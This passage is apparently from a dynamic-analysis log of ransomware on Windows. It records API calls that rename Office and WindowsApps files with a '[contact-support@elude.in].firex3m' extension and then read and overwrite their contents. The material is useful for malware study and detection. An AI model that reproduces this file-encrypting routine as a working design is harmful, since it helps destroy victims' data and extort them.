files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\icon.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.756] Sleep (dwMilliseconds=0x1) [0242.993] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", len=0x6e | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned 1 [0242.993] GetProcessHeap () returned 0x630000 [0242.993] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5404) returned 0x6fe3bb0 [0242.993] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.997] Sleep (dwMilliseconds=0x1) [0243.004] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_TileSmallSquare.scale-100.png", len=0x92 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_TileSmallSquare.scale-100.png") returned 1 [0243.004] GetProcessHeap () returned 0x630000 [0243.004] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5424) returned 0x6fe3bb0 [0243.004] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_TileSmallSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\money_tilesmallsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.014] Sleep (dwMilliseconds=0x1) [0243.022] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ToolsDefaultData.json", len=0x73 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ToolsDefaultData.json") returned 1 [0243.022] GetProcessHeap () returned 0x630000 [0243.022] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5494) returned 0x6fe3bb0 [0243.022] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ToolsDefaultData.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\toolsdefaultdata.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.026] Sleep (dwMilliseconds=0x1) [0243.033] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Money.exe", len=0x67 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Money.exe") returned 1 [0243.033] GetProcessHeap () returned 0x630000 [0243.033] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x54a0) returned 0x6fe3bb0 [0243.033] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Money.exe" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.money.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.040] Sleep (dwMilliseconds=0x1) [0243.052] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ExchangesInfo.json", len=0x70 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ExchangesInfo.json") returned 1 [0243.052] GetProcessHeap () returned 0x630000 [0243.052] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5488) returned 0x6fe3bb0 [0243.052] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ExchangesInfo.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\exchangesinfo.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.054] Sleep (dwMilliseconds=0x1) [0243.067] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileSmallSquare.scale-100.png", len=0x83 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileSmallSquare.scale-100.png") returned 1 [0243.067] GetProcessHeap () returned 0x630000 [0243.067] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5464) returned 0x6fe3bb0 [0243.067] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileSmallSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\money_tilesmallsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.067] Sleep (dwMilliseconds=0x1) [0243.093] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_LogoSmall.targetsize-16.png", len=0x90 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_LogoSmall.targetsize-16.png") returned 1 [0243.093] GetProcessHeap () returned 0x630000 [0243.093] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5404) returned 0x6fe3bb0 [0243.093] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_LogoSmall.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\money_logosmall.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.094] Sleep (dwMilliseconds=0x1) [0243.099] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml", len=0x64 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml") returned 1 [0243.099] GetProcessHeap () returned 0x630000 [0243.100] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53f8) returned 0x6fe3bb0 [0243.100] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\appconfiguration.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.116] Sleep (dwMilliseconds=0x1) [0243.152] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js", len=0x75 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js") returned 1 [0243.152] GetProcessHeap () returned 0x630000 [0243.152] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5360) returned 0x6fe3bb0 [0243.152] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\ormma.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.159] Sleep (dwMilliseconds=0x1) [0244.242] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd", len=0x68 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd") returned 1 [0244.242] GetProcessHeap () returned 0x630000 [0244.242] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f7c) returned 0x6fe3bb0 [0244.242] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.245] Sleep (dwMilliseconds=0x1) [0246.077] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB", len=0x66 | out: pbstr=0x36bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB") returned 1 [0246.077] GetProcessHeap () returned 0x630000 [0246.077] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e40) returned 0x6fe3bb0 [0246.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba6\\vbe6ext.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0246.122] CloseHandle (hObject=0x3f8) returned 1 [0246.122] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0246.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba6\\vbe6ext.olb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba6\\vbe6ext.olb.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0246.123] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0246.123] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xba88, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="VBE6EXT.OLB.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VBE6EX~1.FIR")) returned 0x6d5500 [0246.124] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0246.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba6\\vbe6ext.olb.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0246.124] GetProcessHeap () returned 0x630000 [0246.124] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7367440 [0246.124] GetProcessHeap () returned 0x630000 [0246.124] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7372870 [0246.124] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.124] ReadFile (in: hFile=0x3f8, lpBuffer=0x7367440, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7367440*, lpNumberOfBytesRead=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.667] GetProcessHeap () returned 0x630000 [0253.667] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0253.668] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.668] WriteFile (in: hFile=0x3f8, lpBuffer=0x7372870*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7372870*, lpNumberOfBytesWritten=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.668] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.668] WriteFile (in: hFile=0x3f8, lpBuffer=0x737dc6f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x737dc6f*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0253.668] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.668] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0253.668] CloseHandle (hObject=0x3f8) returned 1 [0253.668] GetProcessHeap () returned 0x630000 [0253.668] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7372870 | out: hHeap=0x630000) returned 1 [0253.668] GetProcessHeap () returned 0x630000 [0253.668] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7367440 | out: hHeap=0x630000) returned 1 [0253.671] GetProcessHeap () returned 0x630000 [0253.671] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0254.423] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.423] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d256e29, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xbaac, dwReserved0=0xc447496, dwReserved1=0x7367438, cFileName="VBE6EXT.OLB.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VBE6EX~1.FIR")) returned 0x6d51c0 [0254.423] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0254.423] Sleep (dwMilliseconds=0x1) [0254.443] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileLargeSquare.scale-100.png", len=0xa7 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileLargeSquare.scale-100.png") returned 1 [0254.443] GetProcessHeap () returned 0x630000 [0254.443] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e24) returned 0x6fe3bb0 [0254.443] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileLargeSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_tilelargesquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.453] Sleep (dwMilliseconds=0x1) [0254.466] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js", len=0x6b | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js") returned 1 [0254.466] GetProcessHeap () returned 0x630000 [0254.466] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ddc) returned 0x6fe3bb0 [0254.466] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\bootstrap.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.472] Sleep (dwMilliseconds=0x1) [0254.479] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\THMBNAIL.PNG", len=0x70 | out: pbstr=0x36bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\THMBNAIL.PNG") returned 1 [0254.479] GetProcessHeap () returned 0x630000 [0254.479] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4db8) returned 0x6fe3bb0 [0254.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0254.480] CloseHandle (hObject=0x5e4) returned 1 [0254.480] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0254.481] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.481] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d51c0 [0254.481] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0254.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0254.482] GetProcessHeap () returned 0x630000 [0254.482] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7247db0 [0254.482] GetProcessHeap () returned 0x630000 [0254.482] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6faaf20 [0254.483] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.483] ReadFile (in: hFile=0x5e4, lpBuffer=0x7247db0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesRead=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0259.787] GetProcessHeap () returned 0x630000 [0259.787] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0259.788] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.788] WriteFile (in: hFile=0x5e4, lpBuffer=0x6faaf20*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faaf20*, lpNumberOfBytesWritten=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0259.788] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.788] WriteFile (in: hFile=0x5e4, lpBuffer=0x6fb631f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb631f*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0259.788] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.788] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, 